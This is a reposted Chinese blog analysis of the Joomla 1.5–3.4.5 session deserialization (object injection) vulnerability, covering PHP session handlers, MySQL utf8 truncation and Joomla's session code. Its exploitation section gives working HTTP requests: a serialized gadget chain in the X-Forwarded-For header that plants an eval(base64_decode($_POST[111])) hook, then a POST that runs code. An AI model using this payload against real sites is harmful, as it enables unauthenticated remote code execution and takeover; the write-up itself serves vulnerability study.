转载

joomla对象注入漏洞

影响版本

from Joomla 1.5 up until 3.4.5

此漏洞无需登录,前台即可代码执行

一、session反序列化

php函数session_set_save_handler()

官方手册介绍如下:

参数 read()

read(string $sessionId)

如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。

在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。

read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。

简而言之,通过session_set_save_handler()重写read方法,将返回值反序列化后填入$_SESSION示例如下:

<?php class FileSessionHandler {     private $savePath;     function open($savePath, $sessionName)     {         $this->savePath = $savePath;         if (!is_dir($this->savePath)) {             mkdir($this->savePath, 0777);         }         return true;     }     function close()     {         return true;     }     function read($id)     {         $data=@file_get_contents("$this->savePath/sess_$id");       var_dump($data);         return (string)@file_get_contents("$this->savePath/sess_$id");     }     function write($id, $data)     {        // return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;     }     function destroy($id)     {         $file = "$this->savePath/sess_$id";         if (file_exists($file)) {             unlink($file);         }         return true;     }     function gc($maxlifetime)     {         foreach (glob("$this->savePath/sess_*") as $file) {             if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {                 unlink($file);             }         }         return true;     } } $handler = new FileSessionHandler(); session_set_save_handler(     array($handler, 'open'),     array($handler, 'close'),     array($handler, 'read'),     array($handler, 'write'),     array($handler, 'destroy'),     array($handler, 'gc')     ); session_start(); var_dump($_SESSION);

运行结果

joomla对象注入漏洞

可以看出,两次vardump出来的结果,分别为序列化前和序列化后

二、数据库截断

通过官网介绍“The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters. ”,mysql在使用utf8的时候,一个字符的大小的上限为3字节,而当出现四个字节的字符时,是需要用使用utf8mb4编码,不使用的话,会将不识别的四字节的字符连同后面的字符串一同舍弃。详情参见:http://xteam.baidu.com/?p=177

三、漏洞分析

joomla会将 user-agent和x-forwarded-for 的内容写入session,外界可控且并未进行任何过滤

// Record proxy forwarded for in the session in case we need it later   if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))   {    $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);   }    // Check for clients browser   if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))   {    $browser = $this->get('session.client.browser');    if ($browser === null)    {     $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);    }    elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)    {     // @todo remove code: $this->_state = 'error';     // @todo remove code: return false;    }   }   return true;  }

之后session写入数据库时,运用前文所讲的四字节字符截断,使得我们写入的session可以被成功反序列化

如下是写入后的内容

__default|a:9:{s:15:”session.counter”;i:1;s:19:”session.timer.start”;i:1450172177;s:18:”session.timer.last”;i:1450172177;s:17:”session.timer.now”;i:1450172177;s:24:”session.client.forwarded”;s:435:”}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”/0/0/0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:60:”eval(base64_decode($_POST[111]));JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”/0/0/0connection”;b:1;}

而后面则是session的自动反序列化

public function register()  {   // Use this object as the session handler   session_set_save_handler(    array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),    array($this, 'destroy'), array($this, 'gc')   );  }

使用了session_set_save_handler函数重写了read()方法read()方法如下

public function read($id)  {   // Get the database connection object and verify its connected.   $db = JFactory::getDbo();   try   {    // Get the session data from the database table.    $query = $db->getQuery(true)     ->select($db->quoteName('data'))    ->from($db->quoteName('#__session'))    ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));    $db->setQuery($query);    $result = (string) $db->loadResult();    $result = str_replace('/0/0/0', chr(0) . '*' . chr(0), $result);    return $result;   }   catch (Exception $e)   {    return false;   }  }

read() return后自动进行一次反序列化操作,从而造成了php对象注入

四、漏洞利用

User-aget和X-FORWARDER-FOR均可

修改session

GET /joomla/ HTTP/1.1 Host: 192.168.152.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"/0/0/0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"/0/0/0connection";b:1;}𝌆 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64 Connection: keep-alive

执行代码

POST /joomla/ HTTP/1.1 Host: 192.168.152.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 24 111=cGhwaW5mbygpOw%3d%3d

注意保证cookie中的数据一致即可

joomla对象注入漏洞

相关链接

[1]https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions[2]http://php.net/session_set_save_handler

正文到此结束
Loading...